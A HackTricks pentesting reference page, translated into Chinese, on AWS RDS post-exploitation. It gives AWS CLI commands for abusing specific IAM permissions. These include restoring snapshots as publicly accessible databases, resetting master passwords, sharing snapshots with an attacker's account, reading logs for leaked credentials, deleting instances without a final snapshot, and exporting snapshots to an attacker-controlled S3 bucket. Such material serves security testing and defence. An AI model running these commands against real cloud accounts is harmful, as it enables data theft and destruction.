AWS - RDS Post Exploitation

支持 HackTricks

RDS

有关更多信息,请查看:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

如果攻击者拥有足够的权限,他可以通过创建数据库的快照,使 数据库公开可访问,然后从快照创建一个公开可访问的数据库。

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

拥有这些权限的攻击者可以创建数据库的快照并使其公开可用。然后,他可以在自己的账户中从该快照创建一个数据库。

如果攻击者没有 rds:CreateDBSnapshot,他仍然可以使其他创建的快照公开

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

拥有 rds:DownloadDBLogFilePortion 权限的攻击者可以 下载 RDS 实例日志文件的部分内容。如果敏感数据或访问凭证被意外记录,攻击者可能会利用这些信息来提升他们的权限或执行未经授权的操作。

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

潜在影响:访问敏感信息或使用泄露的凭据进行未经授权的操作。

rds:DeleteDBInstance

拥有这些权限的攻击者可以对现有的 RDS 实例进行 DoS 攻击

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

潜在影响:删除现有的 RDS 实例,并可能导致数据丢失。

rds:StartExportTask

TODO: 测试

拥有此权限的攻击者可以将 RDS 实例快照导出到 S3 存储桶。如果攻击者控制了目标 S3 存储桶,他们可能会访问导出快照中的敏感数据。

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

潜在影响:访问导出快照中的敏感数据。

支持 HackTricks

Last updated